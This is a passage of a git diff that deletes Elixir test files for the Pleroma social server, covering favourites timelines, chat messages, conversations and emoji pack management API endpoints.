:name]) - - assert_email_sent( - from: {instance_name, notify_email}, - to: {user.name, user.email}, - html_body: email.html_body - ) - end - end - - describe "getting favorites timeline of specified user" do - setup do - [current_user, user] = insert_pair(:user, hide_favorites: false) - %{user: current_user, conn: conn} = oauth_access(["read:favourites"], user: current_user) - [current_user: current_user, user: user, conn: conn] - end - - test "returns list of statuses favorited by specified user", %{ - conn: conn, - user: user - } do - [activity | _] = insert_pair(:note_activity) - CommonAPI.favorite(user, activity.id) - - response = - conn - |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") - |> json_response_and_validate_schema(:ok) - - [like] = response - - assert length(response) == 1 - assert like["id"] == activity.id - end - - test "returns favorites for specified user_id when requester is not logged in", %{ - user: user - } do - activity = insert(:note_activity) - CommonAPI.favorite(user, activity.id) - - response = - build_conn() - |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") - |> json_response_and_validate_schema(200) - - assert length(response) == 1 - end - - test "returns favorited DM only when user is logged in and he is one of recipients", %{ - current_user: current_user, - user: user - } do - {:ok, direct} = - CommonAPI.post(current_user, %{ - status: "Hi @#{user.nickname}!", - visibility: "direct" - }) - - CommonAPI.favorite(user, direct.id) - - for u <- [user, current_user] do - response = - build_conn() - |> assign(:user, u) - |> assign(:token, insert(:oauth_token, user: u, scopes: ["read:favourites"])) - |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") - |> json_response_and_validate_schema(:ok) - - assert length(response) == 1 - end - - response = - build_conn() - |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") - |> json_response_and_validate_schema(200) - - assert length(response) == 0 - end - - test "does not return others' favorited DM when user is not one of recipients", %{ - conn: conn, - user: user - } do - user_two = insert(:user) - - {:ok, direct} = - CommonAPI.post(user_two, %{ - status: "Hi @#{user.nickname}!", - visibility: "direct" - }) - - CommonAPI.favorite(user, direct.id) - - response = - conn - |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") - |> json_response_and_validate_schema(:ok) - - assert Enum.empty?(response) - end - - test "paginates favorites using since_id and max_id", %{ - conn: conn, - user: user - } do - activities = insert_list(10, :note_activity) - - Enum.each(activities, fn activity -> - CommonAPI.favorite(user, activity.id) - end) - - third_activity = Enum.at(activities, 2) - seventh_activity = Enum.at(activities, 6) - - response = - conn - |> get( - "/api/v1/pleroma/accounts/#{user.id}/favourites?since_id=#{third_activity.id}&max_id=#{ - seventh_activity.id - }" - ) - |> json_response_and_validate_schema(:ok) - - assert length(response) == 3 - refute third_activity in response - refute seventh_activity in response - end - - test "limits favorites using limit parameter", %{ - conn: conn, - user: user - } do - 7 - |> insert_list(:note_activity) - |> Enum.each(fn activity -> - CommonAPI.favorite(user, activity.id) - end) - - response = - conn - |> get("/api/v1/pleroma/accounts/#{user.id}/favourites?limit=3") - |> json_response_and_validate_schema(:ok) - - assert length(response) == 3 - end - - test "returns empty response when user does not have any favorited statuses", %{ - conn: conn, - user: user - } do - response = - conn - |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") - |> json_response_and_validate_schema(:ok) - - assert Enum.empty?(response) - end - - test "returns 404 error when specified user is not exist", %{conn: conn} do - conn = get(conn, "/api/v1/pleroma/accounts/test/favourites") - - assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} - end - - test "returns 403 error when user has hidden own favorites", %{conn: conn} do - user = insert(:user, hide_favorites: true) - activity = insert(:note_activity) - CommonAPI.favorite(user, activity.id) - - conn = get(conn, "/api/v1/pleroma/accounts/#{user.id}/favourites") - - assert json_response_and_validate_schema(conn, 403) == %{"error" => "Can't get favorites"} - end - - test "hides favorites for new users by default", %{conn: conn} do - user = insert(:user) - activity = insert(:note_activity) - CommonAPI.favorite(user, activity.id) - - assert user.hide_favorites - conn = get(conn, "/api/v1/pleroma/accounts/#{user.id}/favourites") - - assert json_response_and_validate_schema(conn, 403) == %{"error" => "Can't get favorites"} - end - end - - describe "subscribing / unsubscribing" do - test "subscribing / unsubscribing to a user" do - %{user: user, conn: conn} = oauth_access(["follow"]) - subscription_target = insert(:user) - - ret_conn = - conn - |> assign(:user, user) - |> post("/api/v1/pleroma/accounts/#{subscription_target.id}/subscribe") - - assert %{"id" => _id, "subscribing" => true} = - json_response_and_validate_schema(ret_conn, 200) - - conn = post(conn, "/api/v1/pleroma/accounts/#{subscription_target.id}/unsubscribe") - - assert %{"id" => _id, "subscribing" => false} = json_response_and_validate_schema(conn, 200) - end - end - - describe "subscribing" do - test "returns 404 when subscription_target not found" do - %{conn: conn} = oauth_access(["write:follows"]) - - conn = post(conn, "/api/v1/pleroma/accounts/target_id/subscribe") - - assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn, 404) - end - end - - describe "unsubscribing" do - test "returns 404 when subscription_target not found" do - %{conn: conn} = oauth_access(["follow"]) - - conn = post(conn, "/api/v1/pleroma/accounts/target_id/unsubscribe") - - assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn, 404) - end - end -end diff --git a/test/web/pleroma_api/controllers/chat_controller_test.exs b/test/web/pleroma_api/controllers/chat_controller_test.exs deleted file mode 100644 index 11d5ba373..000000000 --- a/test/web/pleroma_api/controllers/chat_controller_test.exs +++ /dev/null @@ -1,410 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Web.PleromaAPI.ChatControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Chat - alias Pleroma.Chat.MessageReference - alias Pleroma.Object - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - describe "POST /api/v1/pleroma/chats/:id/messages/:message_id/read" do - setup do: oauth_access(["write:chats"]) - - test "it marks one message as read", %{conn: conn, user: user} do - other_user = insert(:user) - - {:ok, create} = CommonAPI.post_chat_message(other_user, user, "sup") - {:ok, _create} = CommonAPI.post_chat_message(other_user, user, "sup part 2") - {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) - object = Object.normalize(create, false) - cm_ref = MessageReference.for_chat_and_object(chat, object) - - assert cm_ref.unread == true - - result = - conn - |> post("/api/v1/pleroma/chats/#{chat.id}/messages/#{cm_ref.id}/read") - |> json_response_and_validate_schema(200) - - assert result["unread"] == false - - cm_ref = MessageReference.for_chat_and_object(chat, object) - - assert cm_ref.unread == false - end - end - - describe "POST /api/v1/pleroma/chats/:id/read" do - setup do: oauth_access(["write:chats"]) - - test "given a `last_read_id`, it marks everything until then as read", %{ - conn: conn, - user: user - } do - other_user = insert(:user) - - {:ok, create} = CommonAPI.post_chat_message(other_user, user, "sup") - {:ok, _create} = CommonAPI.post_chat_message(other_user, user, "sup part 2") - {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) - object = Object.normalize(create, false) - cm_ref = MessageReference.for_chat_and_object(chat, object) - - assert cm_ref.unread == true - - result = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/pleroma/chats/#{chat.id}/read", %{"last_read_id" => cm_ref.id}) - |> json_response_and_validate_schema(200) - - assert result["unread"] == 1 - - cm_ref = MessageReference.for_chat_and_object(chat, object) - - assert cm_ref.unread == false - end - end - - describe "POST /api/v1/pleroma/chats/:id/messages" do - setup do: oauth_access(["write:chats"]) - - test "it posts a message to the chat", %{conn: conn, user: user} do - other_user = insert(:user) - - {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) - - result = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/pleroma/chats/#{chat.id}/messages", %{"content" => "Hallo!!"}) - |> json_response_and_validate_schema(200) - - assert result["content"] == "Hallo!!" - assert result["chat_id"] == chat.id |> to_string() - end - - test "it fails if there is no content", %{conn: conn, user: user} do - other_user = insert(:user) - - {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) - - result = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/pleroma/chats/#{chat.id}/messages") - |> json_response_and_validate_schema(400) - - assert %{"error" => "no_content"} == result - end - - test "it works with an attachment", %{conn: conn, user: user} do - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) - - other_user = insert(:user) - - {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) - - result = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/pleroma/chats/#{chat.id}/messages", %{ - "media_id" => to_string(upload.id) - }) - |> json_response_and_validate_schema(200) - - assert result["attachment"] - end - - test "gets MRF reason when rejected", %{conn: conn, user: user} do - clear_config([:mrf_keyword, :reject], ["GNO"]) - clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) - - other_user = insert(:user) - - {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) - - result = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/pleroma/chats/#{chat.id}/messages", %{"content" => "GNO/Linux"}) - |> json_response_and_validate_schema(422) - - assert %{"error" => "[KeywordPolicy] Matches with rejected keyword"} == result - end - end - - describe "DELETE /api/v1/pleroma/chats/:id/messages/:message_id" do - setup do: oauth_access(["write:chats"]) - - test "it deletes a message from the chat", %{conn: conn, user: user} do - recipient = insert(:user) - - {:ok, message} = - CommonAPI.post_chat_message(user, recipient, "Hello darkness my old friend") - - {:ok, other_message} = CommonAPI.post_chat_message(recipient, user, "nico nico ni") - - object = Object.normalize(message, false) - - chat = Chat.get(user.id, recipient.ap_id) - - cm_ref = MessageReference.for_chat_and_object(chat, object) - - # Deleting your own message removes the message and the reference - result = - conn - |> put_req_header("content-type", "application/json") - |> delete("/api/v1/pleroma/chats/#{chat.id}/messages/#{cm_ref.id}") - |> json_response_and_validate_schema(200) - - assert result["id"] == cm_ref.id - refute MessageReference.get_by_id(cm_ref.id) - assert %{data: %{"type" => "Tombstone"}} = Object.get_by_id(object.id) - - # Deleting other people's messages just removes the reference - object = Object.normalize(other_message, false) - cm_ref = MessageReference.for_chat_and_object(chat, object) - - result = - conn - |> put_req_header("content-type", "application/json") - |> delete("/api/v1/pleroma/chats/#{chat.id}/messages/#{cm_ref.id}") - |> json_response_and_validate_schema(200) - - assert result["id"] == cm_ref.id - refute MessageReference.get_by_id(cm_ref.id) - assert Object.get_by_id(object.id) - end - end - - describe "GET /api/v1/pleroma/chats/:id/messages" do - setup do: oauth_access(["read:chats"]) - - test "it paginates", %{conn: conn, user: user} do - recipient = insert(:user) - - Enum.each(1..30, fn _ -> - {:ok, _} = CommonAPI.post_chat_message(user, recipient, "hey") - end) - - chat = Chat.get(user.id, recipient.ap_id) - - response = get(conn, "/api/v1/pleroma/chats/#{chat.id}/messages") - result = json_response_and_validate_schema(response, 200) - - [next, prev] = get_resp_header(response, "link") |> hd() |> String.split(", ") - api_endpoint = "/api/v1/pleroma/chats/" - - assert String.match?( - next, - ~r(#{api_endpoint}.*/messages\?id=.*&limit=\d+&max_id=.*; rel=\"next\"$) - ) - - assert String.match?( - prev, - ~r(#{api_endpoint}.*/messages\?id=.*&limit=\d+&min_id=.*; rel=\"prev\"$) - ) - - assert length(result) == 20 - - response = - get(conn, "/api/v1/pleroma/chats/#{chat.id}/messages?max_id=#{List.last(result)["id"]}") - - result = json_response_and_validate_schema(response, 200) - [next, prev] = get_resp_header(response, "link") |> hd() |> String.split(", ") - - assert String.match?( - next, - ~r(#{api_endpoint}.*/messages\?id=.*&limit=\d+&max_id=.*; rel=\"next\"$) - ) - - assert String.match?( - prev, - ~r(#{api_endpoint}.*/messages\?id=.*&limit=\d+&max_id=.*&min_id=.*; rel=\"prev\"$) - ) - - assert length(result) == 10 - end - - test "it returns the messages for a given chat", %{conn: conn, user: user} do - other_user = insert(:user) - third_user = insert(:user) - - {:ok, _} = CommonAPI.post_chat_message(user, other_user, "hey") - {:ok, _} = CommonAPI.post_chat_message(user, third_user, "hey") - {:ok, _} = CommonAPI.post_chat_message(user, other_user, "how are you?") - {:ok, _} = CommonAPI.post_chat_message(other_user, user, "fine, how about you?") - - chat = Chat.get(user.id, other_user.ap_id) - - result = - conn - |> get("/api/v1/pleroma/chats/#{chat.id}/messages") - |> json_response_and_validate_schema(200) - - result - |> Enum.each(fn message -> - assert message["chat_id"] == chat.id |> to_string() - end) - - assert length(result) == 3 - - # Trying to get the chat of a different user - conn - |> assign(:user, other_user) - |> get("/api/v1/pleroma/chats/#{chat.id}/messages") - |> json_response_and_validate_schema(404) - end - end - - describe "POST /api/v1/pleroma/chats/by-account-id/:id" do - setup do: oauth_access(["write:chats"]) - - test "it creates or returns a chat", %{conn: conn} do - other_user = insert(:user) - - result = - conn - |> post("/api/v1/pleroma/chats/by-account-id/#{other_user.id}") - |> json_response_and_validate_schema(200) - - assert result["id"] - end - end - - describe "GET /api/v1/pleroma/chats/:id" do - setup do: oauth_access(["read:chats"]) - - test "it returns a chat", %{conn: conn, user: user} do - other_user = insert(:user) - - {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) - - result = - conn - |> get("/api/v1/pleroma/chats/#{chat.id}") - |> json_response_and_validate_schema(200) - - assert result["id"] == to_string(chat.id) - end - end - - describe "GET /api/v1/pleroma/chats" do - setup do: oauth_access(["read:chats"]) - - test "it does not return chats with deleted users", %{conn: conn, user: user} do - recipient = insert(:user) - {:ok, _} = Chat.get_or_create(user.id, recipient.ap_id) - - Pleroma.Repo.delete(recipient) - User.invalidate_cache(recipient) - - result = - conn - |> get("/api/v1/pleroma/chats") - |> json_response_and_validate_schema(200) - - assert length(result) == 0 - end - - test "it does not return chats with users you blocked", %{conn: conn, user: user} do - recipient = insert(:user) - - {:ok, _} = Chat.get_or_create(user.id, recipient.ap_id) - - result = - conn - |> get("/api/v1/pleroma/chats") - |> json_response_and_validate_schema(200) - - assert length(result) == 1 - - User.block(user, recipient) - - result = - conn - |> get("/api/v1/pleroma/chats") - |> json_response_and_validate_schema(200) - - assert length(result) == 0 - end - - test "it returns all chats", %{conn: conn, user: user} do - Enum.each(1..30, fn _ -> - recipient = insert(:user) - {:ok, _} = Chat.get_or_create(user.id, recipient.ap_id) - end) - - result = - conn - |> get("/api/v1/pleroma/chats") - |> json_response_and_validate_schema(200) - - assert length(result) == 30 - end - - test "it return a list of chats the current user is participating in, in descending order of updates", - %{conn: conn, user: user} do - har = insert(:user) - jafnhar = insert(:user) - tridi = insert(:user) - - {:ok, chat_1} = Chat.get_or_create(user.id, har.ap_id) - :timer.sleep(1000) - {:ok, _chat_2} = Chat.get_or_create(user.id, jafnhar.ap_id) - :timer.sleep(1000) - {:ok, chat_3} = Chat.get_or_create(user.id, tridi.ap_id) - :timer.sleep(1000) - - # bump the second one - {:ok, chat_2} = Chat.bump_or_create(user.id, jafnhar.ap_id) - - result = - conn - |> get("/api/v1/pleroma/chats") - |> json_response_and_validate_schema(200) - - ids = Enum.map(result, & &1["id"]) - - assert ids == [ - chat_2.id |> to_string(), - chat_3.id |> to_string(), - chat_1.id |> to_string() - ] - end - - test "it is not affected by :restrict_unauthenticated setting (issue #1973)", %{ - conn: conn, - user: user - } do - clear_config([:restrict_unauthenticated, :profiles, :local], true) - clear_config([:restrict_unauthenticated, :profiles, :remote], true) - - user2 = insert(:user) - user3 = insert(:user, local: false) - - {:ok, _chat_12} = Chat.get_or_create(user.id, user2.ap_id) - {:ok, _chat_13} = Chat.get_or_create(user.id, user3.ap_id) - - result = - conn - |> get("/api/v1/pleroma/chats") - |> json_response_and_validate_schema(200) - - account_ids = Enum.map(result, &get_in(&1, ["account", "id"])) - assert Enum.sort(account_ids) == Enum.sort([user2.id, user3.id]) - end - end -end diff --git a/test/web/pleroma_api/controllers/conversation_controller_test.exs b/test/web/pleroma_api/controllers/conversation_controller_test.exs deleted file mode 100644 index e6d0b3e37..000000000 --- a/test/web/pleroma_api/controllers/conversation_controller_test.exs +++ /dev/null @@ -1,136 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.ConversationControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Conversation.Participation - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - test "/api/v1/pleroma/conversations/:id" do - user = insert(:user) - %{user: other_user, conn: conn} = oauth_access(["read:statuses"]) - - {:ok, _activity} = - CommonAPI.post(user, %{status: "Hi @#{other_user.nickname}!", visibility: "direct"}) - - [participation] = Participation.for_user(other_user) - - result = - conn - |> get("/api/v1/pleroma/conversations/#{participation.id}") - |> json_response_and_validate_schema(200) - - assert result["id"] == participation.id |> to_string() - end - - test "/api/v1/pleroma/conversations/:id/statuses" do - user = insert(:user) - %{user: other_user, conn: conn} = oauth_access(["read:statuses"]) - third_user = insert(:user) - - {:ok, _activity} = - CommonAPI.post(user, %{status: "Hi @#{third_user.nickname}!", visibility: "direct"}) - - {:ok, activity} = - CommonAPI.post(user, %{status: "Hi @#{other_user.nickname}!", visibility: "direct"}) - - [participation] = Participation.for_user(other_user) - - {:ok, activity_two} = - CommonAPI.post(other_user, %{ - status: "Hi!", - in_reply_to_status_id: activity.id, - in_reply_to_conversation_id: participation.id - }) - - result = - conn - |> get("/api/v1/pleroma/conversations/#{participation.id}/statuses") - |> json_response_and_validate_schema(200) - - assert length(result) == 2 - - id_one = activity.id - id_two = activity_two.id - assert [%{"id" => ^id_one}, %{"id" => ^id_two}] = result - - {:ok, %{id: id_three}} = - CommonAPI.post(other_user, %{ - status: "Bye!", - in_reply_to_status_id: activity.id, - in_reply_to_conversation_id: participation.id - }) - - assert [%{"id" => ^id_two}, %{"id" => ^id_three}] = - conn - |> get("/api/v1/pleroma/conversations/#{participation.id}/statuses?limit=2") - |> json_response_and_validate_schema(:ok) - - assert [%{"id" => ^id_three}] = - conn - |> get("/api/v1/pleroma/conversations/#{participation.id}/statuses?min_id=#{id_two}") - |> json_response_and_validate_schema(:ok) - end - - test "PATCH /api/v1/pleroma/conversations/:id" do - %{user: user, conn: conn} = oauth_access(["write:conversations"]) - other_user = insert(:user) - - {:ok, _activity} = CommonAPI.post(user, %{status: "Hi", visibility: "direct"}) - - [participation] = Participation.for_user(user) - - participation = Repo.preload(participation, :recipients) - - user = User.get_cached_by_id(user.id) - assert [user] == participation.recipients - assert other_user not in participation.recipients - - query = "recipients[]=#{user.id}&recipients[]=#{other_user.id}" - - result = - conn - |> patch("/api/v1/pleroma/conversations/#{participation.id}?#{query}") - |> json_response_and_validate_schema(200) - - assert result["id"] == participation.id |> to_string - - [participation] = Participation.for_user(user) - participation = Repo.preload(participation, :recipients) - - assert user in participation.recipients - assert other_user in participation.recipients - end - - test "POST /api/v1/pleroma/conversations/read" do - user = insert(:user) - %{user: other_user, conn: conn} = oauth_access(["write:conversations"]) - - {:ok, _activity} = - CommonAPI.post(user, %{status: "Hi @#{other_user.nickname}", visibility: "direct"}) - - {:ok, _activity} = - CommonAPI.post(user, %{status: "Hi @#{other_user.nickname}", visibility: "direct"}) - - [participation2, participation1] = Participation.for_user(other_user) - assert Participation.get(participation2.id).read == false - assert Participation.get(participation1.id).read == false - assert User.get_cached_by_id(other_user.id).unread_conversation_count == 2 - - [%{"unread" => false}, %{"unread" => false}] = - conn - |> post("/api/v1/pleroma/conversations/read", %{}) - |> json_response_and_validate_schema(200) - - [participation2, participation1] = Participation.for_user(other_user) - assert Participation.get(participation2.id).read == true - assert Participation.get(participation1.id).read == true - assert User.get_cached_by_id(other_user.id).unread_conversation_count == 0 - end -end diff --git a/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs b/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs deleted file mode 100644 index 386ad8634..000000000 --- a/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs +++ /dev/null @@ -1,604 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do - use Pleroma.Web.ConnCase - - import Tesla.Mock - import Pleroma.Factory - - @emoji_path Path.join( - Pleroma.Config.get!([:instance, :static_dir]), - "emoji" - ) - setup do: clear_config([:auth, :enforce_oauth_admin_scope_usage], false) - - setup do: clear_config([:instance, :public], true) - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - admin_conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - Pleroma.Emoji.reload() - {:ok, %{admin_conn: admin_conn}} - end - - test "GET /api/pleroma/emoji/packs when :public: false", %{conn: conn} do - Config.put([:instance, :public], false) - conn |> get("/api/pleroma/emoji/packs") |> json_response_and_validate_schema(200) - end - - test "GET /api/pleroma/emoji/packs", %{conn: conn} do - resp = conn |> get("/api/pleroma/emoji/packs") |> json_response_and_validate_schema(200) - - assert resp["count"] == 4 - - assert resp["packs"] - |> Map.keys() - |> length() == 4 - - shared = resp["packs"]["test_pack"] - assert shared["files"] == %{"blank" => "blank.png", "blank2" => "blank2.png"} - assert Map.has_key?(shared["pack"], "download-sha256") - assert shared["pack"]["can-download"] - assert shared["pack"]["share-files"] - - non_shared = resp["packs"]["test_pack_nonshared"] - assert non_shared["pack"]["share-files"] == false - assert non_shared["pack"]["can-download"] == false - - resp = - conn - |> get("/api/pleroma/emoji/packs?page_size=1") - |> json_response_and_validate_schema(200) - - assert resp["count"] == 4 - - packs = Map.keys(resp["packs"]) - - assert length(packs) == 1 - - [pack1] = packs - - resp = - conn - |> get("/api/pleroma/emoji/packs?page_size=1&page=2") - |> json_response_and_validate_schema(200) - - assert resp["count"] == 4 - packs = Map.keys(resp["packs"]) - assert length(packs) == 1 - [pack2] = packs - - resp = - conn - |> get("/api/pleroma/emoji/packs?page_size=1&page=3") - |> json_response_and_validate_schema(200) - - assert resp["count"] == 4 - packs = Map.keys(resp["packs"]) - assert length(packs) == 1 - [pack3] = packs - - resp = - conn - |> get("/api/pleroma/emoji/packs?page_size=1&page=4") - |> json_response_and_validate_schema(200) - - assert resp["count"] == 4 - packs = Map.keys(resp["packs"]) - assert length(packs) == 1 - [pack4] = packs - assert [pack1, pack2, pack3, pack4] |> Enum.uniq() |> length() == 4 - end - - describe "GET /api/pleroma/emoji/packs/remote" do - test "shareable instance", %{admin_conn: admin_conn, conn: conn} do - resp = - conn - |> get("/api/pleroma/emoji/packs?page=2&page_size=1") - |> json_response_and_validate_schema(200) - - mock(fn - %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> - json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) - - %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> - json(%{metadata: %{features: ["shareable_emoji_packs"]}}) - - %{method: :get, url: "https://example.com/api/pleroma/emoji/packs?page=2&page_size=1"} -> - json(resp) - end) - - assert admin_conn - |> get("/api/pleroma/emoji/packs/remote?url=https://example.com&page=2&page_size=1") - |> json_response_and_validate_schema(200) == resp - end - - test "non shareable instance", %{admin_conn: admin_conn} do - mock(fn - %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> - json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) - - %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> - json(%{metadata: %{features: []}}) - end) - - assert admin_conn - |> get("/api/pleroma/emoji/packs/remote?url=https://example.com") - |> json_response_and_validate_schema(500) == %{ - "error" => "The requested instance does not support sharing emoji packs" - } - end - end - - describe "GET /api/pleroma/emoji/packs/archive?name=:name" do - test "download shared pack", %{conn: conn} do - resp = - conn - |> get("/api/pleroma/emoji/packs/archive?name=test_pack") - |> response(200) - - {:ok, arch} = :zip.unzip(resp, [:memory]) - - assert Enum.find(arch, fn {n, _} -> n == 'pack.json' end) - assert Enum.find(arch, fn {n, _} -> n == 'blank.png' end) - end - - test "non existing pack", %{conn: conn} do - assert conn - |> get("/api/pleroma/emoji/packs/archive?name=test_pack_for_import") - |> json_response_and_validate_schema(:not_found) == %{ - "error" => "Pack test_pack_for_import does not exist" - } - end - - test "non downloadable pack", %{conn: conn} do - assert conn - |> get("/api/pleroma/emoji/packs/archive?name=test_pack_nonshared") - |> json_response_and_validate_schema(:forbidden) == %{ - "error" => - "Pack test_pack_nonshared cannot be downloaded from this instance, either pack sharing was disabled for this pack or some files are missing" - } - end - end - - describe "POST /api/pleroma/emoji/packs/download" do - test "shared pack from remote and non shared from fallback-src", %{ - admin_conn: admin_conn, - conn: conn - } do - mock(fn - %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> - json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) - - %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> - json(%{metadata: %{features: ["shareable_emoji_packs"]}}) - - %{ - method: :get, - url: "https://example.com/api/pleroma/emoji/pack?name=test_pack" - } -> - conn - |> get("/api/pleroma/emoji/pack?name=test_pack") - |> json_response_and_validate_schema(200) - |> json() - - %{ - method: :get, - url: "https://example.com/api/pleroma/emoji/packs/archive?name=test_pack" - } -> - conn - |> get("/api/pleroma/emoji/packs/archive?name=test_pack") - |> response(200) - |> text() - - %{ - method: :get, - url: "https://example.com/api/pleroma/emoji/pack?name=test_pack_nonshared" - } -> - conn - |> get("/api/pleroma/emoji/pack?name=test_pack_nonshared") - |> json_response_and_validate_schema(200) - |> json() - - %{ - method: :get, - url: "https://nonshared-pack" - } -> - text(File.read!("#{@emoji_path}/test_pack_nonshared/nonshared.zip")) - end) - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/download", %{ - url: "https://example.com", - name: "test_pack", - as: "test_pack2" - }) - |> json_response_and_validate_schema(200) == "ok" - - assert File.exists?("#{@emoji_path}/test_pack2/pack.json") - assert File.exists?("#{@emoji_path}/test_pack2/blank.png") - - assert admin_conn - |> delete("/api/pleroma/emoji/pack?name=test_pack2") - |> json_response_and_validate_schema(200) == "ok" - - refute File.exists?("#{@emoji_path}/test_pack2") - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post( - "/api/pleroma/emoji/packs/download", - %{ - url: "https://example.com", - name: "test_pack_nonshared", - as: "test_pack_nonshared2" - } - ) - |> json_response_and_validate_schema(200) == "ok" - - assert File.exists?("#{@emoji_path}/test_pack_nonshared2/pack.json") - assert File.exists?("#{@emoji_path}/test_pack_nonshared2/blank.png") - - assert admin_conn - |> delete("/api/pleroma/emoji/pack?name=test_pack_nonshared2") - |> json_response_and_validate_schema(200) == "ok" - - refute File.exists?("#{@emoji_path}/test_pack_nonshared2") - end - - test "nonshareable instance", %{admin_conn: admin_conn} do - mock(fn - %{method: :get, url: "https://old-instance/.well-known/nodeinfo"} -> - json(%{links: [%{href: "https://old-instance/nodeinfo/2.1.json"}]}) - - %{method: :get, url: "https://old-instance/nodeinfo/2.1.json"} -> - json(%{metadata: %{features: []}}) - end) - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post( - "/api/pleroma/emoji/packs/download", - %{ - url: "https://old-instance", - name: "test_pack", - as: "test_pack2" - } - ) - |> json_response_and_validate_schema(500) == %{ - "error" => "The requested instance does not support sharing emoji packs" - } - end - - test "checksum fail", %{admin_conn: admin_conn} do - mock(fn - %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> - json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) - - %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> - json(%{metadata: %{features: ["shareable_emoji_packs"]}}) - - %{ - method: :get, - url: "https://example.com/api/pleroma/emoji/pack?name=pack_bad_sha" - } -> - {:ok, pack} = Pleroma.Emoji.Pack.load_pack("pack_bad_sha") - %Tesla.Env{status: 200, body: Jason.encode!(pack)} - - %{ - method: :get, - url: "https://example.com/api/pleroma/emoji/packs/archive?name=pack_bad_sha" - } -> - %Tesla.Env{ - status: 200, - body: File.read!("test/instance_static/emoji/pack_bad_sha/pack_bad_sha.zip") - } - end) - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/download", %{ - url: "https://example.com", - name: "pack_bad_sha", - as: "pack_bad_sha2" - }) - |> json_response_and_validate_schema(:internal_server_error) == %{ - "error" => "SHA256 for the pack doesn't match the one sent by the server" - } - end - - test "other error", %{admin_conn: admin_conn} do - mock(fn - %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> - json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) - - %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> - json(%{metadata: %{features: ["shareable_emoji_packs"]}}) - - %{ - method: :get, - url: "https://example.com/api/pleroma/emoji/pack?name=test_pack" - } -> - {:ok, pack} = Pleroma.Emoji.Pack.load_pack("test_pack") - %Tesla.Env{status: 200, body: Jason.encode!(pack)} - end) - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/download", %{ - url: "https://example.com", - name: "test_pack", - as: "test_pack2" - }) - |> json_response_and_validate_schema(:internal_server_error) == %{ - "error" => - "The pack was not set as shared and there is no fallback src to download from" - } - end - end - - describe "PATCH /api/pleroma/emoji/pack?name=:name" do - setup do - pack_file = "#{@emoji_path}/test_pack/pack.json" - original_content = File.read!(pack_file) - - on_exit(fn -> - File.write!(pack_file, original_content) - end) - - {:ok, - pack_file: pack_file, - new_data: %{ - "license" => "Test license changed", - "homepage" => "https://pleroma.social", - "description" => "Test description", - "share-files" => false - }} - end - - test "for a pack without a fallback source", ctx do - assert ctx[:admin_conn] - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/pack?name=test_pack", %{ - "metadata" => ctx[:new_data] - }) - |> 